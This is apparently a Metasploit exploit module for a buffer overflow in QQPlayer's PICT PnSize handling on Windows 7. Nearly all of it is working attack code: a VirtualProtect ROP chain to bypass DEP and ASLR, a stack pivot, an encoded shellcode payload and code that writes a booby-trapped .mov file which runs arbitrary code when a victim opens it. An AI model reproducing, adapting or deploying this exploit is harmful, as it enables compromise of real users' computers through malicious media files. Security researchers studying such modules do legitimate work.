# Exploit Title: QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS
# Date: 2011,11,21
# Author: hellok
# Software Link: http://dl_dir.qq.com/invc/qqplayer/QQPlayer_Setup_32_845.exe
# Version: 32_845(lastest)
# Tested on: WIN7
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
    include Msf::Exploit::FILEFORMAT
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS',
            'Description'    => %q{
                    This module exploits a vulnerability in QQPLAYER Player 3.2.
                When opening a .mov file containing a specially crafted PnSize value, an attacker
                may be able to execute arbitrary code.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'hellok',  #special thank corelanc0d3r for 'mona'
                ],
            'References'     =>
                [
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'DisablePayloadHandler' => 'true',
                },
            'Payload'        =>
                {
                    'Space'          => 750,
                    'BadChars'       => "",  #Memcpy
                    'EncoderType'    => Msf::Encoder::Type::AlphanumUpper,
                    'DisableNops'    =>  'True',
                    'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
                    'EncoderOptions' =>
                        {
                            'BufferRegister' => 'ECX',
                        },
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    [ 'Windows 7', { 'Ret' => 0x67664cde } ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => '11 21 2011',
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new('FILENAME',   [ false, 'The file name.',  'msf.mov' ]),
            ], self.class)
    end
    def exploit
        # !mona rop
        rop_gadgets =
        [
             
            0x00418007, # POP ECX # RETN (QQPlayer.exe)
            0x12345678,
            0x67664CE4,  
            0x01020304,
            0x10203040,
            0x22331122,
            0x23456789,
             
            0x00418007, # POP ECX # RETN (QQPlayer.exe)
            0x00a9c18c, # <- *&VirtualProtect()
            0x0054f100, # MOV EAX,DWORD PTR DS:[ECX] # RETN (QQPlayer.exe)
            #0x008e750c, LEA ESI,EAX # RETN (QQPlayer.exe)
            0x008cf099, # XCHG EAX,ESI # RETN
             
            0x6497aaad, # POP EBP # RETN (avformat-52.dll)
            0x100272bf, # ptr to 'call esp' (from i18nu.dll)
            0x005fc00b, # POP EBX # RETN (QQPlayer.exe)
            0x00000331, # <- change size to mark as executable if needed (-> ebx)
            0x00418007, # POP ECX # RETN (QQPlayer.exe)
            0x63d18000, # RW pointer (lpOldProtect) (-> ecx)
            0x63d05001, # POP EDI # RETN (avutil-49.dll)
            0x63d05002, # ROP NOP (-> edi)
            0x008bf00b, # POP EDX # RETN (QQPlayer.exe)
            0x00000040, # newProtect (0x40) (-> edx)
            0x00468800, # POP EAX # RETN (QQPlayer.exe)
            0x90909090, # NOPS (-> eax)
            0x008bad5c, # PUSHAD # RETN (QQPlayer.exe)
        # rop chain generated by mona.py
        # note : this chain may not work out of the box
        # you may have to change order or fix some gadgets,
        # but it should give you a head start
        ].pack("V*")
 
        stackpivot = [target.ret].pack('L')
 
        buffer =rand_text_alpha_upper(90)#2
        buffer << rop_gadgets
        buffer << payload.encoded
 
        junk = rand_text_alpha_upper(2306 - buffer.length)
 
        buffer << junk
        buffer << stackpivot
        buffer << rand_text_alpha_upper(3000)#3000
 
        path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0257.mov" )
        fd = File.open(path, "rb" )
        sploit = fd.read(fd.stat.size)
        fd.close
 
        sploit << buffer
 
        file_create(sploit)
    end
end